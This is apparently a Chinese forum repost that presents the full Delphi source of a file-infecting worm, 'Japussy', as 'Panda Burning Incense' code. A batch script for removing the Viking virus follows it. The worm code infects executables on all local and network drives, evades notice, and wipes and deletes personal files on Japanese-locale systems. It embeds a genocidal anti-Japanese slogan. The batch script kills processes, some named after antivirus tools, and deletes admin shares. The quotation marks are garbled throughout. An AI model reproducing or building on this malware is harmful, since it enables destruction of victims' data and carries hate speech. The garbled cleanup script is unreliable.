【轉】xiaonei
熊貓燒香——原代碼！

program Japussy;
uses
Windows, SysUtils, Classes, Graphics, ShellAPI{ , Registry};
const
HeaderSize = 82432;             //病毒體的大小
IconOffset = $12EB8;           //PE文件主圖標的偏移量
//在我的Delphi5 SP1上面編譯得到的大小，其它版本的Delphi可能不同
//查找2800000020的十六進制字符串可以找到主圖標的偏移量

{
HeaderSize = 38912;             //Upx壓縮過病毒體的大小
IconOffset = $92BC;             //Upx壓縮過PE文件主圖標的偏移量
//Upx 1.24W 用法: upx -9 --8086 Japussy.exe
}
IconSize   = $2E8;             //PE文件主圖標的大小--744字節(jié)
IconTail   = IconOffset + IconSize; //PE文件主圖標的尾部
ID       = $44444444;         //感染標記
//垃圾碼，以備寫入
Catchword = ''''''''''''''''If a race need to be killed out, it must be Yamato. '''''''''''''''' +
        ''''''''''''''''If a country need to be destroyed, it must be Japan! '''''''''''''''' +
        ''''''''''''''''*** W32.Japussy.Worm.A ***'''''''''''''''';
{ $R *.RES}
function RegisterServiceProcess(dwProcessID, dwType: Integer): Integer;
stdcall; external ''''''''''''''''Kernel32.dll''''''''''''''''; //函數聲明
var
TmpFile: string;
Si:     STARTUPINFO;
Pi:     PROCESS_INFORMATION;
IsJap:   Boolean = False; //日文操作系統(tǒng)標記
{  判斷是否為Win9x }
function IsWin9x: Boolean;
var
Ver: TOSVersionInfo;
begin
Result := False;
Ver.dwOSVersionInfoSize := SizeOf(TOSVersionInfo);
if not GetVersionEx(Ver) then
  Exit;
if (Ver.dwPlatformID = VER_PLATFORM_WIN32_WINDOWS) then //Win9x
  Result := True;
end;
{  在流之間復制 }
procedure CopyStream(Src: TStream; sStartPos: Integer; Dst: TStream;
dStartPos: Integer; Count: Integer);
var
sCurPos, dCurPos: Integer;
begin
sCurPos := Src.Position;
dCurPos := Dst.Position;
Src.Seek(sStartPos, 0);
Dst.Seek(dStartPos, 0);
Dst.CopyFrom(Src, Count);
Src.Seek(sCurPos, 0);
Dst.Seek(dCurPos, 0);
end;
{  將宿主文件從已感染的PE文件中分離出來，以備使用 }
procedure ExtractFile(FileName: string);
var
sStream, dStream: TFileStream;
begin
try
  sStream := TFileStream.Create(ParamStr(0), fmOpenRead or fmShareDenyNone);
try
    dStream := TFileStream.Create(FileName, fmCreate);
    try
    sStream.Seek(HeaderSize, 0); //跳過頭部的病毒部分
    dStream.CopyFrom(sStream, sStream.Size - HeaderSize);
    finally
    dStream.Free;
    end;
  finally
    sStream.Free;
  end;
except
end;
end;
{  填充STARTUPINFO結構 }
procedure FillStartupInfo(var Si: STARTUPINFO; State: Word);
begin
Si.cb := SizeOf(Si);
Si.lpReserved := nil;
Si.lpDesktop := nil;
Si.lpTitle := nil;
Si.dwFlags := STARTF_USESHOWWINDOW;
Si.wShowWindow := State;
Si.cbReserved2 := 0;
Si.lpReserved2 := nil;
end;
{  發(fā)帶毒郵件 }
procedure SendMail;
begin
//哪位仁兄愿意完成之？
end;
{  感染PE文件 }
procedure InfectOneFile(FileName: string);
var
HdrStream, SrcStream: TFileStream;
IcoStream, DstStream: TMemoryStream;
iID: LongInt;
aIcon: TIcon;
Infected, IsPE: Boolean;
i: Integer;
Buf: array[0..1] of Char;
begin
try //出錯則文件正在被使用，退出
  if CompareText(FileName, ''''''''''''''''JAPUSSY.EXE'''''''''''''''') = 0 then //是自己則不感染
    Exit;
  Infected := False;
  IsPE   := False;
  SrcStream := TFileStream.Create(FileName, fmOpenRead);
  try
    for i := 0 to $108 do //檢查PE文件頭
    begin
    SrcStream.Seek(i, soFromBeginning);
    SrcStream.Read(Buf, 2);
    if (Buf[0] = #80) and (Buf[1] = #69) then //PE標記
    begin
      IsPE := True; //是PE文件
      Break;
    end;
    end;
    SrcStream.Seek(-4, soFromEnd); //檢查感染標記
    SrcStream.Read(iID, 4);
    if (iID = ID) or (SrcStream.Size < 10240) then //太小的文件不感染
    Infected := True;
  finally
    SrcStream.Free;
end;
  if Infected or (not IsPE) then //如果感染過了或不是PE文件則退出
    Exit;
  IcoStream := TMemoryStream.Create;
  DstStream := TMemoryStream.Create;
  try
    aIcon := TIcon.Create;
    try
    //得到被感染文件的主圖標(744字節(jié))，存入流
    aIcon.ReleaseHandle;
    aIcon.Handle := ExtractIcon(HInstance, PChar(FileName), 0);
    aIcon.SaveToStream(IcoStream);
    finally
    aIcon.Free;
    end;
    SrcStream := TFileStream.Create(FileName, fmOpenRead);
    //頭文件
    HdrStream := TFileStream.Create(ParamStr(0), fmOpenRead or fmShareDenyNone);
    try
    //寫入病毒體主圖標之前的數據
    CopyStream(HdrStream, 0, DstStream, 0, IconOffset);
    //寫入目前程序的主圖標
    CopyStream(IcoStream, 22, DstStream, IconOffset, IconSize);
    //寫入病毒體主圖標到病毒體尾部之間的數據
    CopyStream(HdrStream, IconTail, DstStream, IconTail, HeaderSize - IconTail);
    //寫入宿主程序
    CopyStream(SrcStream, 0, DstStream, HeaderSize, SrcStream.Size);
    //寫入已感染的標記
    DstStream.Seek(0, 2);
    iID := $44444444;
    DstStream.Write(iID, 4);
    finally
    HdrStream.Free;
    end;
  finally
    SrcStream.Free;
    IcoStream.Free;
    DstStream.SaveToFile(FileName); //替換宿主文件
    DstStream.Free;
  end;
except;
end;
end;
{  將目標文件寫入垃圾碼后刪除 }
procedure SmashFile(FileName: string);
var
FileHandle: Integer;
i, Size, Mass, Max, Len: Integer;
begin
try
  SetFileAttributes(PChar(FileName), 0); //去掉只讀屬性
  FileHandle := FileOpen(FileName, fmOpenWrite); //打開文件
  try
    Size := GetFileSize(FileHandle, nil); //文件大小
    i := 0;
    Randomize;
    Max := Random(15); //寫入垃圾碼的隨機次數
    if Max < 5 then
    Max := 5;
    Mass := Size div Max; //每個間隔塊的大小
    Len := Length(Catchword);
    while i < Max do
    begin
    FileSeek(FileHandle, i * Mass, 0); //定位
    //寫入垃圾碼，將文件徹底破壞掉
    FileWrite(FileHandle, Catchword, Len);
    Inc(i);
    end;
  finally
    FileClose(FileHandle); //關閉文件
  end;
  DeleteFile(PChar(FileName)); //刪除之
except
end;
end;
{  獲得可寫的驅動器列表 }
function GetDrives: string;
var
DiskType: Word;
D: Char;
Str: string;
i: Integer;
begin
for i := 0 to 25 do //遍歷26個字母
begin
  D := Chr(i + 65);
  Str := D + '''''''''''''''':\'''''''''''''''';
  DiskType := GetDriveType(PChar(Str));
  //得到本地磁盤和網絡盤
  if (DiskType = DRIVE_FIXED) or (DiskType = DRIVE_REMOTE) then
    Result := Result + D;
end;
end;
{  遍歷目錄，感染和摧毀文件 }
procedure LoopFiles(Path, Mask: string);
var
i, Count: Integer;
Fn, Ext: string;
SubDir: TStrings;
SearchRec: TSearchRec;
Msg: TMsg;
function IsValidDir(SearchRec: TSearchRec): Integer;
begin
  if (SearchRec.Attr <> 16) and (SearchRec.Name <> ''''''''''''''''.'''''''''''''''') and
    (SearchRec.Name <> ''''''''''''''''..'''''''''''''''') then
    Result := 0 //不是目錄
  else if (SearchRec.Attr = 16) and (SearchRec.Name <> ''''''''''''''''.'''''''''''''''') and
    (SearchRec.Name <> ''''''''''''''''..'''''''''''''''') then
    Result := 1 //不是根目錄
  else Result := 2; //是根目錄
end;
begin
if (FindFirst(Path + Mask, faAnyFile, SearchRec) = 0) then
begin
  repeat
    PeekMessage(Msg, 0, 0, 0, PM_REMOVE); //調整消息隊列，避免引起懷疑
    if IsValidDir(SearchRec) = 0 then
    begin
    Fn := Path + SearchRec.Name;
    Ext := UpperCase(ExtractFileExt(Fn));
    if (Ext = ''''''''''''''''.EXE'''''''''''''''') or (Ext = ''''''''''''''''.SCR'''''''''''''''') then
    begin
      InfectOneFile(Fn); //感染可執(zhí)行文件   
    end
    else if (Ext = ''''''''''''''''.HTM'''''''''''''''') or (Ext = ''''''''''''''''.HTML'''''''''''''''') or (Ext = ''''''''''''''''.ASP'''''''''''''''') then
    begin
      //感染HTML和ASP文件，將Base64編碼后的病毒寫入
      //感染瀏覽此網頁的所有用戶
      //哪位大兄弟愿意完成之？
    end
    else if Ext = ''''''''''''''''.WAB'''''''''''''''' then //Outlook地址簿文件
    begin
      //獲取Outlook郵件地址
    end
    else if Ext = ''''''''''''''''.ADC'''''''''''''''' then //Foxmail地址自動完成文件
    begin
      //獲取Foxmail郵件地址
    end
    else if Ext = ''''''''''''''''IND'''''''''''''''' then //Foxmail地址簿文件
    begin
      //獲取Foxmail郵件地址
end
    else
    begin
      if IsJap then //是倭文操作系統(tǒng)
      begin
        if (Ext = ''''''''''''''''.DOC'''''''''''''''') or (Ext = ''''''''''''''''.XLS'''''''''''''''') or (Ext = ''''''''''''''''.MDB'''''''''''''''') or
        (Ext = ''''''''''''''''.MP3'''''''''''''''') or (Ext = ''''''''''''''''.RM'''''''''''''''') or (Ext = ''''''''''''''''.RA'''''''''''''''') or
        (Ext = ''''''''''''''''.WMA'''''''''''''''') or (Ext = ''''''''''''''''.ZIP'''''''''''''''') or (Ext = ''''''''''''''''.RAR'''''''''''''''') or
        (Ext = ''''''''''''''''.MPEG'''''''''''''''') or (Ext = ''''''''''''''''.ASF'''''''''''''''') or (Ext = ''''''''''''''''.JPG'''''''''''''''') or
        (Ext = ''''''''''''''''.JPEG'''''''''''''''') or (Ext = ''''''''''''''''.GIF'''''''''''''''') or (Ext = ''''''''''''''''.SWF'''''''''''''''') or
        (Ext = ''''''''''''''''.PDF'''''''''''''''') or (Ext = ''''''''''''''''.CHM'''''''''''''''') or (Ext = ''''''''''''''''.AVI'''''''''''''''') then
          SmashFile(Fn); //摧毀文件
      end;
    end;
    end;
    //感染或刪除一個文件后睡眠200毫秒，避免CPU占用率過高引起懷疑
    Sleep(200);
  until (FindNext(SearchRec) <> 0);
end;
FindClose(SearchRec);
SubDir := TStringList.Create;
if (FindFirst(Path + ''''''''''''''''*.*'''''''''''''''', faDirectory, SearchRec) = 0) then
begin
  repeat
    if IsValidDir(SearchRec) = 1 then
    SubDir.Add(SearchRec.Name);
  until (FindNext(SearchRec) <> 0);
  end;
FindClose(SearchRec);
Count := SubDir.Count - 1;
for i := 0 to Count do
  LoopFiles(Path + SubDir.Strings + ''''''''''''''''\'''''''''''''''', Mask);
FreeAndNil(SubDir);
end;
{  遍歷磁盤上所有的文件 }
procedure InfectFiles;
var
DriverList: string;
i, Len: Integer;
begin
if GetACP = 932 then //日文操作系統(tǒng)
  IsJap := True; //去死吧！
DriverList := GetDrives; //得到可寫的磁盤列表
Len := Length(DriverList);
while True do //死循環(huán)
begin
  for i := Len downto 1 do //遍歷每個磁盤驅動器
    LoopFiles(DriverList + '''''''''''''''':\'''''''''''''''', ''''''''''''''''*.*''''''''''''''''); //感染之
  SendMail; //發(fā)帶毒郵件
  Sleep(1000 * 60 * 5); //睡眠5分鐘
end;
end;
{  主程序開始 }
begin
if IsWin9x then //是Win9x
  RegisterServiceProcess(GetCurrentProcessID, 1) //注冊為服務進程
else //WinNT
begin
  //遠程線程映射到Explorer進程
  //哪位兄臺愿意完成之？
end;
//如果是原始病毒體自己
if CompareText(ExtractFileName(ParamStr(0)), ''''''''''''''''Japussy.exe'''''''''''''''') = 0 then
  InfectFiles //感染和發(fā)郵件
else //已寄生于宿主程序上了，開始工作
begin
  TmpFile := ParamStr(0); //創(chuàng)建臨時文件
  Delete(TmpFile, Length(TmpFile) - 4, 4);
  TmpFile := TmpFile + #32 + ''''''''''''''''.exe''''''''''''''''; //真正的宿主文件，多一個空格
  ExtractFile(TmpFile); //分離之
  FillStartupInfo(Si, SW_SHOWDEFAULT);
  CreateProcess(PChar(TmpFile), PChar(TmpFile), nil, nil, True,
    0, nil, ''''''''''''''''.'''''''''''''''', Si, Pi); //創(chuàng)建新進程運行之
  InfectFiles; //感染和發(fā)郵件
end;
end.
請轉帖的朋友標明出處  <!-- CETagParser ~url
<a href="http://www." target=_blank>http://www.<!-- CETagParser ~/url
</a>
以下為清除威金、熊貓燒香病毒的批處理

@echo off
title 清除威金（logo_1,熊貓燒香）病毒最新變種工具
@echo 清除VIKING病毒最新變種工具
pause
if exist %windir%\rundl132.exe echo ---報告老大，發(fā)現有威金病毒埋伏! 讓我來干掉它-----
if exist %windir%\logo_1.exe echo ---報告老大，發(fā)現有威金病毒埋伏!讓我來干掉它 -----
//殺viking進程
tskill logo_1
tskill rundl132
tskill zt
tskill wow
tskill logo1_
tskill Ravmon
tskill Eghost
tskill Mailmon
tskill KAVPFW
tskill IPARMOR
tskill Ravmond
taskkill /f /im 0sy.exe
taskkill /f /im 1sy.exe
taskkill /f /im 2sy.exe
taskkill /f /im 3sy.exe
taskkill /f /im 4sy.exe
taskkill /f /im 5sy.exe
taskkill /f /im 6sy.exe
taskkill /f /im 7sy.exe
taskkill /f /im 8sy.exe
taskkill /f /im 9sy.exe

//刪除木馬
del d:\_desktop.ini /f/s/q/a
del c:\Program Files\_desktop.ini
del %Windir%\MickNew\MickNew.dll
del %Windir%\MH_FILE\MH_DLL.dll
del %Windir%\_desktop.ini
del %Windir%\TODAYZTKING\TODAYZTKING.DLL
attrib -h -r -s c:\go.exe
del c:\go.exe
del c:\setup.exe
attrib -h -s -r c:\autorun.inf
del c:\autorun.inf
attrib -h -r -s d:\go.exe
del d:\go.exe
del d:\setup.exe
attrib -h -s -r d:\autorun.inf
del d:\autorun.inf
del e:\setup.exe
attrib -h -r -s e:\go.exe
del e:\go.exe
attrib -h -s -r e:\autorun.inf
del e:\autorun.inf
attrib -h -r -s f:\go.exe
del f:\go.exe
del f:\setup.exe
attrib -h -s -r f:\autorun.inf
del f:\autorun.inf
attrib -h -r -s g:\go.exe
del g:\go.exe
del g:\setup.exe
attrib -h -s -r g:\autorun.inf
del g:\autorun.inf
del h:\go.exe
del h:\setup.exe
attrib -h -s -r g:\autorun.inf
del h:\autorun.inf
del i:\go.exe
attrib -h -s -r g:\autorun.inf
del i:\autorun.inf
del i:\setup.exe
del j:\go.exe
attrib -h -s -r g:\autorun.inf
del j:\autorun.inf
del j:\setup.exe
del %windir%\system\Logo1_.exedel %windir%\system\Logo_1.exe
del %windir%\rundl132.exe
del %windir%\vDll.dll
del %windir%\Dll.dll
del %windir%\0Sy.exe
del %windir%\1Sy.exe
del %windir%\2Sy.exe
del %windir%\3Sy.exe
del %windir%\5Sy.exe
del %windir%\1.com
@echo ^_^ 報告老大，VIKING已經全都被處死

@echo 真累哈,再給你的系統(tǒng)免疫下,不需要的話請直接退出
pause
//免疫系統(tǒng)
echo > %windir%\Logo1_.exe
echo > %windir%\rundl132.exe
echo > %windir%\0Sy.exe
echo > %windir%\vDll.dll
echo > %windir%\1Sy.exe
echo > %windir%\2Sy.exe
echo > %windir%\rundll32.exe
echo > %windir%\3Sy.exe
echo > %windir%\5Sy.exe
echo > %windir%\1.com
echo > %windir%\exerouter.exe
echo > %windir%\EXP10RER.com
echo > %windir%\finders.com
echo > %windir%\Shell.sys
echo > %windir%\kill.exe
echo > %windir%\sws.dll
echo > %windir%\sws32.dll
echo > %windir%\uninstall\rundl132.exe
echo > %windir%\SVCHOST.exe
echo > %windir%\WINLOGON.exe
echo > %windir%\RUNDLL32.EXE
echo > C:\"Program Files"\svchost.exe
echo > C:\"Program Files"\"Internet Explorer"\svchost.exe
echo > %windir%\Download\svchost.exe
echo > %windir%\system32\wldll.dll
attrib %windir%\Logo1_.exe +s +r +h
attrib %windir%\rundl132.exe +s +r +h
attrib %windir%\0Sy.exe +s +r +h
attrib %windir%\vDll.dll +s +r +h
attrib %windir%\1Sy.exe +s +r +h
attrib %windir%\2Sy.exe +s +r +h
attrib %windir%\rundll32.exe +s +r +h
attrib %windir%\3Sy.exe +s +r +h
attrib %windir%\5Sy.exe +s +r +h
attrib %windir%\1.com +s +r +h
attrib %windir%\exerouter.exe +s +r +h
attrib %windir%\EXP10RER.com +s +r +h
attrib %windir%\finders.com +s +r +h
attrib %windir%\Shell.sys +s +r +h
attrib %windir%\kill.exe +s +r +h
attrib %windir%\sws.dll +s +r +h
attrib %windir%\sws32.dll +s +r +h
attrib %windir%\uninstall\rundl132.exe +s +r +h
attrib %windir%\SVCHOST.exe +s +r +h
attrib %windir%\WINLOGON.exe +s +r +h
attrib %windir%\RUNDLL32.EXE +s +r +h
attrib C:\"Program Files"\svchost.exe +s +r +h
attrib C:\"Program Files"\"Internet Explorer"\svchost.exe +s +r +h
attrib %windir%\Download\svchost.exe +s +r +h
attrib %windir%\system32\wldll.dll +s +r +h
net share c$ /del
net share d$ /del
net share e$ /del
net share f$ /del
net share admin$ /del
net share ipc$ /del
cls
@echo -------------------------------------
@echo viking已經全部被我殺完拉,哈,厲害吧
@echo 系統(tǒng)已經成功免疫!
@echo 謝謝你的使用,請重啟您的電腦!
@echo -------------------------------------
pause